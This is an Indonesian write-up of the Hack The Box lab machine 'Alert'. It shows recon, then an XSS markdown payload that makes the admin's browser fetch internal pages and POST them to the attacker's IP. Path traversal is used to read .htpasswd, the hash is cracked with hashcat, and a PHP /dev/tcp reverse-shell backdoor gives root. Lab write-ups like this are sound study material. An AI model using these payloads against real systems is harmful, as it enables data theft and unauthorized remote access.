Published on

HACKTHEBOX - Alert WriteUp

Authors
  • avatar
    Name
    Alvin Dhiyaul H
    Twitter
image

Reconnaissance

Melakukan scanning port untuk mengetahui port yang terbuka dan service yang sedang berjalan di server menggunakan Nmap.

alvin@0xOff Alert % nmap -sC -sV 10.10.11.44
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-03 11:34 WIB
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.47 seconds

Dari hasil enumerasi menggunakan nmap terdapat sebuah port 80 yaitu service dari sebuah web server dengan hostname alert.htb kemudian add host pada file config /file/hosts supaya kita dapat mengakses web yang terdapat pada server.

sudo echo "10.10.11.44 alert.htb" | sudo tee -a /etc/hosts

Kemudian saya mencoba untuk melakukan enumerasi pada Directory web, untuk mengetahui semua endpoint web apps menggunakan Dirsearch.

dirsearch -u alert.htb --include-status 200,301

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Target: http://alert.htb/

[23:58:55] Starting:
[23:59:21] 200 -   24B  - /contact.php
[23:59:22] 301 -  304B  - /css  ->  http://alert.htb/css/
[23:59:34] 301 -  309B  - /messages  ->  http://alert.htb/messages/
[23:59:50] 301 -  308B  - /uploads  ->  http://alert.htb/uploads/

Saya juga mencoba melakukan enumerasi terhadap subdomain yang ada di server menggunakan ffuf tools

ffuf -u http://alert.htb -H "Host: FUZZ.alert.htb" -w /Users/alvin/Documents/TOOLS/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -fc 301
Dan dari hasil enumerasi subdomain menggunakan ffuf di dapat kan sebuah subdomain statistics.alert.htb. Kemudian ketika kita mengakses web dengan host alert.htb seperti dibawah ini. image

Kita disajikan sebuah fitur Markdown Viewer, sehingga kita dapat melakukan upload file dengan extension .md, dan juga fitur Contact-Us sehingga kita juga dapat mengirim sebuah pesan maupun komentar ke admin

Exploitation to get Initial access

Identifying vulnerabilities

Pada web application terdapat banyak fitur yang tersedia diantaranya:

  • Markdown Viewer - Fitur yang dapat di gunakan untuk melihat sebuah markdown file dan kemudian kita dapat membagikan link viewer untuk dapat dilihat oleh orang lain.
  • Contact Us - Fitur yang memungkinkan kita untuk menghubungi admin.

    NOTE

    Kemudian dari hasil indentifikasi kedua fitur diatas saya menemukan sebuah alur (cara kerja) dari fitur tersebut yang kemudian dapat kita manfaatkan untuk melakukan identi & exploitasi pada kedua fitur tersebut, dengan cara. Setelah kita berhasil meng-upload file payload.md pada fitur Markdown Viewer, selanjutnya kita submit link share viewer markdown ke fitur Contacts-Us sehingga Admin akan mengakses link tersebut dan sehingga kita dapat melakukan ekploitasi lebih lanjut.

# Evil Markdown
<script>
fetch("http://alert.htb/").then(response => response.text())
  .then(data => fetch("http://10.10.14.147:1337", {
      method: "POST",
      body: data
  }));
</script>

Kemudian saya menggunakan netcat untuk menerima output dari payload yang sudah saya buat sebelumnya.

nc -lnvp 1337

Potongan Response Dari Netcat

<body>
  <nav>
    <a href="index.php?page=alert">Markdown Viewer</a>
    <a href="index.php?page=contact">Contact Us</a>
    <a href="index.php?page=about">About Us</a>
    <a href="index.php?page=donate">Donate</a>
    <a href="index.php?page=messages">Messages</a>
  </nav>
</body>

Dan dari response yang berhasil kita dapat kan dari netcat kita mendapat Point Of View dari sisi Admin, sehingga kita mengetahui tampilan index dari sisi admin, seperti yang dapat kita lihat terdapat sebuah navbar messages yang hanya dapat dilihat oleh admin.

Expanding The Attack Surface

Selanjutnya setelah kita mengetahui terdapat endpoint messages.php, saya mencoba untuk melihat lebih lanjut response apa yang kita terima ketika mencoba untuk melihat endpoint massages.php. Dengan menambahkan endpoint /massages.php pada script seperti di bawah ini:

# Evil Markdown
<script>
fetch("http://alert.htb/messages.php").then(response => response.text())
  .then(data => fetch("http://10.10.14.147:1337", {
      method: "POST",
      body: data
  }));
</script>

Dan kita mendapat sebuah response seperti di bawah ini.

Connection from 10.10.11.44:58424
POST / HTTP/1.1
Host: 10.10.14.147:1337
Connection: keep-alive
Content-Length: 115
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

Dan dari hasil response yang telah kita dapat kan pada endpoint massages.php, kita dapat melihat bahwasanya terdapat sebuah parameter yang digunakan untuk mengambil lalu menampilkan sebuah file, yaitu parameter file=xxxx

Selanjutnya saya mencoba mengakses file id_rsa pada server tetapi cara tersebut tidak berhasil,sehingga saya mencoba untuk mengakses file konfigurasi dari Service Apache.

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../etc/apache2/sites-enabled/000-default.conf").then(response => response.text())
  .then(data => fetch("http://10.10.14.147:1337", {
      method: "POST",
      body: data
  }));
</script>

Dan kemudian di dapat response seperti berikut:

<pre><VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

</pre>

Dari hasil response yang di dapat seperti diatas kita mendapat berbagai informasi seperti, terdapat sebuah VirtualHost dengan subdomain statistics.alert.htb dan Sebuah file yang menarik yang terdapat di direktori /var/www/statistics.alert.htb, yaitu file .htpasswd yang berada di direktori /var/www/statistics.alert.htb/.htpasswd.

Kemudian mari kita lihat lebih dalam file .htpasswd secara lebih mendalam,dengan merubah script payload.md seperti dibawah ini:

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd").then(response => response.text())
  .then(data => fetch("http://10.10.14.147:1337", {
      method: "POST",
      body: data
  }));
</script>

Dan dari response yang kita dapat,kita berhasil mendapatkan sebuah informasi berupa adanya user aktif dengan nama albert dan sebuah hash credential.

Connection from 10.10.11.44:45796
POST / HTTP/1.1
Host: 10.10.14.147:1337
Connection: keep-alive
Content-Length: 57
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/</pre>

Selanjutnya kita dapat mencoba melakukan cracking terhadap hash yang sudah berhasil kita dapatkan menggunakan tools Hashcat.

Cracking Hash with Hashcat

Sebelumnya kita simpan terlebih dahulu hash yang sudah kita dapat sebelumnya ke sebuah file yang bernama hashpasswd

echo '$apr1$bMoRBJOg*************LjSWZQ/' > hashpasswd

Kemudian kita cracking menggunakan Hashcat dengan wordlist rockyou.txt dari Seclists

  hashcat -m 1600 -a 0 hashpasswd /Users/alvin/Documents/TOOLS/rockyou.txt

Dan kita berhasil mendapatkan password dari user albert

$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:ma*************d

Foothold

Kemudian kita coba untuk mengakses SSH menggunakan password yang sudah berhasil kita dapatkan.

ssh albert@alert.htb

Kemudian kita telah berhasil mendapatkan flag dari user.

albert@alert:~$ whoami
albert
albert@alert:~$ cat user.txt
c8***********************3357839

Privilege Escalation to Root Access

Setelah berhasil mendapatkan hak akses user, selanjutnya kita dapat melakukan enumerasi untuk mendapatkan access root pada server, saya akan menggunakan LinPEAS, dengan mengabil linpeas dari host local saya.

Kemudian setelah melakukan enumnerasi menggunakan LinPEAS, saya mendapat informasi bahwasanya terdapat port yang terbuka yaitu port 8080.

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

Dan kita perlu melakukan Port Forwarding supaya service pada port 8080 dapat di akses dari localhost, saya menggunakan SSH untuk melakukan Port Forwarding.

ssh -L 8080:127.0.0.1:8080 albert@alert.htb

Dan ketika saya mengakses port 8080 di localhost, terdapat sebuah web yang digunakan untuk memonitor server.

image

Lalu saya membuka lagi hasil linpeas untuk mencari informasi mengenai sevice yang di gunakan untuk memonitor server.

Dan kita menemukan sebuah direktori service dengan nama website-monitor yang berada di direktori /opt beserta direktori konfigurasi service yaitu /website-monitor/config

╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
  Group management:
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php
/opt/website-monitor/config/config.php

Dan direktori website-monitor tersebut memiliki hak akses sebagai root.

albert@alert:/opt/website-monitor/config$ ls -ld .
drwxrwxr-x 2 root management 4096 Dec  4 20:32 .
albert@alert:/opt/website-monitor/config$

Kemudian informasi dari linpeas direktori /opt/website-monitor/config adalah GROUP writable files, berarti hak akses user juga memmiliki akses writable pada direktori tersebut, jadi bisa kita simpulkan kita dapat membuat malicious/backdoor file di server dengan Privilege Root.

Buat malicious/backdoor file pada direktori /opt/website-monitor/config.

echo '<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.147/123 0>&1'"); ?>' > malicious.php

Kemudian access file malicious.php

http://127.0.0.1:8080/config/malicious.php

Dan kita berhasil mendapat Privilege Root pada server.

image